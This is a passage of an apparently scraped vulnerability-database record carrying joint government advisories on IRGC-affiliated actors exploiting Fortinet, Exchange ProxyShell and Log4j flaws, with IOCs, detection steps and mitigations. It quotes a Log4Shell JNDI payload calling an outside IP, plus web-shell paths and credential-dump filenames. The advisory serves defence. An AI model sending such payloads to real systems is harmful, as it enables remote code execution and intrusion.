[[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0042>)]\n\n| \nCollection [[TA0009](<https://attack.mitre.org/versions/v10/tactics/TA0009>)] | \n\nArchive Collected Data: Archive via Utility [[T1560.001](<https://attack.mitre.org/versions/v10/techniques/T1560/001>)] \n \nExfiltration [[TA0010](<https://attack.mitre.org/versions/v10/tactics/TA0010/>)] | \nImpact [[TA0040](<https://attack.mitre.org/versions/v10/tactics/TA0040>)] | Data Encrypted for Impact [[T1486](<https://attack.mitre.org/versions/v10/techniques/T1486>)] \n \n### Contact Information\n\nTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at <https://www.fbi.gov/contact-us/field-offices>, or the FBI\u2019s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>). When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>). Australian organizations can visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.\n\n### Revisions\n\nNovember 17, 2021: Initial Version|November 19, 2021: Added STIX files\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T12:00:00", "type": "ics", "title": "Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-34473", "CVE-2023-27350"], "modified": "2021-11-19T12:00:00", "id": "AA21-321A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-321a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T14:54:43", "description": "### Summary\n\nActions to take today to protect against ransom operations:\n\n\u2022 Keep systems and software updated and prioritize remediating [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n\u2022 Enforce MFA. \n\u2022 Make offline backups of your data.\n\nThis joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) - Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom\u2019s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government\u2019s Islamic Revolutionary Guard Corps (IRGC). **Note**: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as \"the authoring agencies.\"\n\nThis advisory updates joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>), which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.\n\nSince the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report [APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity](<https://www.ic3.gov/Media/News/2021/210527.pdf>) from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.\n\nThe IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.\n\nThis advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors.\n\nFor a downloadable copy of IOCs, see [AA22-257A.stix](<https://www.us-cert.gov/sites/default/files/AA22-257A.stix.xml>).\n\nFor more information on Iranian state-sponsored malicious cyber activity, see CISA\u2019s [Iran Cyber Threat Overview and Advisories](<https://www.us-cert.cisa.gov/iran>) webpage and FBI\u2019s [Iran Threat](<https://www.fbi.gov/investigate/counterintelligence/the-iran-threat>) webpage.\n\nDownload the PDF version of this report: pdf, 836 kb\n\n### Technical Details\n\n#### Threat Actor Activity\n\nAs reported in joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>), the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: [CVE-2018-13379](<https://vulners.com/cve/CVE-2018-13379>), [CVE-2020-12812](<https://vulners.com/cve/CVE-2020-12812>), [CVE-2019-5591](<https://vulners.com/cve/CVE-2019-5591>), and [CVE-2021-34473](<https://vulners.com/cve/CVE-2021-34473>) (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities [CVE-2021-34523](<https://vulners.com/cve/CVE-2021-34523>) and [CVE-2021-31207](<https://vulners.com/cve/CVE-2021-31207>). The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.\n\nSince the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities [CVE-2021-44228](<https://vulners.com/cve/CVE-2021-44228>) (\u201cLog4Shell\u201d), [CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>), and [CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) for initial access.\n\nThe IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or \u201cdouble extortion\u201d ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.\n\nIRGC-affiliated actor activity observed by the authoring agencies includes:\n\n * In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.\n * In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company\u2019s operations for an extended period.\n * In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.\n * In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company's network.\n\n#### MITRE ATT&CK\u00ae Tactics and Techniques\n\nNote: This advisory uses the MITRE [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v11/techniques/enterprise/>) framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.\n\nThe authoring agencies assess the following tactics and techniques are associated with this activity.\n\n#### Resource Development [[TA0042](<https://attack.mitre.org/versions/v11/tactics/TA0042>)]\n\nThe IRGC-affiliated actors have used the following malicious and legitimate tools [[T1588.001](<https://attack.mitre.org/versions/v11/techniques/T1588/001>), [T1588.002](<https://attack.mitre.org/versions/v11/techniques/T1588/002>)] for a variety of tactics across the enterprise spectrum:\n\n * Fast Reverse Proxy (FRP) for command and control (C2)\n * Plink for C2\n * Remote Desktop Protocol (RDP) for lateral movement\n * BitLocker for data encryption\n * SoftPerfect Network Scanner for system network configuration discovery\n\nNote: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n#### Initial Access [[TA0001](<https://attack.mitre.org/versions/v11/tactics/TA0001/>)]\n\nAs stated in the Technical Details section previously reported in joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>), the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)].\n\nThe following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:\n\n * Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories: \n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\ecp\\auth\\\n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\\n * C:\\inetpub\\wwwroot\\aspnet_client\\\n\nThe following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:\n\n * ${jndi:ldap//148.251.71.182:1389/RCE} (user agent string)\n * RCE.class\n\n#### Execution [[TA0002](<https://attack.mitre.org/versions/v11/tactics/TA0002>)]\n\nThe IRGC-affiliated actors may have made modifications to the Task Scheduler [[T1053.005](<https://attack.mitre.org/versions/v11/techniques/T1053/005>)]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:\n\n * Wininet\n * Wininet\u2019\n * WinLogon\n * CacheTask\n\nNote: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n#### Persistence [[TA0003](<https://attack.mitre.org/versions/v11/tactics/TA0003>)]\n\nThe IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [[T1136.001](<https://attack.mitre.org/versions/v11/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v11/techniques/T1136/002>)]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:\n\n * Domain Admin\n * it_admin\n * DefaultAccount\n * Default01\n\nNote: For additional account usernames associated with this activity, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n#### Exfiltration [[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)]\n\nThe authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:\n\n * C:\\Windows\\Temp\\sassl[.]pmd\n * C:\\Windows\\Temp\\ssasl[.]zip\n * C:\\Users\\DefaultAccount\\AppData\\Local\\Temp\\lsass[.]dmp\n * C:\\Users\\DefaultAccount\\AppData\\Local\\Temp\\lsass[.]zip\n\n#### Impact [[TA0040](<https://attack.mitre.org/versions/v11/tactics/TA0040>)]\n\nThe IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [[T1486](<https://attack.mitre.org/versions/v10/techniques/T1486>)] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity\u2019s networked printer(s). The notes included the following contact information:\n\n * @BuySafety (Telegram)\n * @WeRBits (Telegram)\n * +93794415076 (WhatsApp)\n * werbits@onionmail[.]org\n * buysafety@onionmail[.]org\n * yacashcash@rambler[.]ru\n\nNote: For additional contact information included in ransom notes, see joint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>).\n\n### DETECTION\n\nThe authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.\n\n * Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. \n * **Note**: Refer to Appendix A for IOCs.\n * Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105.\n * Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207.\n * As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.\n * Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.\n * Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.\n * Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.\n * Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.\n * Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.\n * Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks\u2014including each step these tasks perform\u2014for unrecognized \u201cactions.\u201d\n * Review antivirus logs for indications they were unexpectedly turned off.\n * Look for WinRAR and FileZilla in unexpected locations.\n * Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.\n\nNote: For additional approaches on uncovering malicious cyber activity, see joint advisory [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf>), authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.\n\n### Mitigations\n\nThe authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.\n\n#### Implement and Enforce Backup and Restoration Policies and Procedures\n\n * Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization\u2019s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses. \n * Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization\u2019s data infrastructure.\n * Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup.\n * Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.\n * Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).\n\n#### Patch and Update Systems\n\n * U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free [CISA Cyber Hygiene Services Vulnerability Scanning](<https://www.cisa.gov/cyber-hygiene-services>) to enable continuous scans of public, static IPs for accessible services and vulnerabilities.\n * Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.\n * Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.\n\n#### Evaluate and Update Blocklists and Allowlists\n\n * Regularly evaluate and update blocklists and allowlists.\n * If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization\u2019s execution blocklist. Prevent any attempts to install or run this program and its associated files.\n\n#### Implement Network Segmentation\n\n * Implement network segmentation to restrict a malicious threat actor\u2019s lateral movement.\n\n#### Secure User Accounts\n\n * Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.\n * Require administrator credentials to install software.\n\n#### Implement Multifactor Authentication\n\n * Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.\n\n#### Use Strong Passwords\n\n * Require all accounts with password logins to have strong, unique passwords. See CISA Tip [Choosing and Protecting Passwords](<https://www.cisa.gov/tips/st04-002>) and National Institute of Standards and Technology (NIST) [Special Publication 800-63B: Digital Identity Guidelines](<https://csrc.nist.gov/publications/detail/sp/800-63b/final>) for more information.\n\n#### Secure and Monitor RDP and other Potentially Risky Services\n\n * If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.\n * Disable unused remote access/RDP ports.\n * Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts.\n\n#### Use Antivirus Programs\n\n * Install and regularly update antivirus and anti-malware software on all hosts.\n\n#### Secure Remote Access\n\n * Only use secure networks.\n * Consider installing and using a VPN for remote access.\n\n### VALIDATE SECURITY CONTROLS\n\nIn addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.\n\nTo get started:\n\n 1. Select an ATT&CK technique described in this advisory (see Appendix B).\n 2. Align your security technologies against the technique.\n 3. Test your technologies against the technique.\n 4. Analyze your detection and prevention technologies performance.\n 5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.\n 6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.\n\nThe authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.\n\n### RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS\n\nIf a ransomware or extortion incident occurs at your organization:\n\n * Follow the Ransomware Response Checklist on page 11 of the [CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide](<https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware%20Guide_S508C_.pdf>).\n * Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.\n * Follow the notification requirements as outlined in your cyber incident response plan. \n * **U.S. organizations**: Report incidents to FBI at a [local FBI Field Office](<https://www.fbi.gov/contact-us/field-offices>) or the FBI's 24/7 CyWatch at (855)292-3937 or cywatch@fbi.gov, CISA\u2019s 24/7 Operations Center at [report@cisa.gov](<mailto:report@cisa.gov>) or (888) 282-0870, or the U.S. Secret Service (USSS) at a [USSS Field Office](<http://www.secretservice.gov/contact/field-offices/>).\n * **Australian organizations**: Visit [cyber.gov.au](<https://www.cyber.gov.au/>) or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.\n * **Canadian organizations**: Report incidents by emailing CCCS at [contact@cyber.gc.ca](<mailto:contact@cyber.gc.ca>).\n * **United Kingdom organizations**: Report a significant cyber security incident: [ncsc.gov.uk/report-an-incident](<https://report.ncsc.gov.uk/>) (monitored 24 hours)\n * Apply incident response best practices found in the joint Cybersecurity Advisory, [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>), developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.\n\n**Note**: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.\n\n### **RESOURCES**\n\n * The U.S. Department of State\u2019s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructur
Exploit for Vulnerability in Microsoft
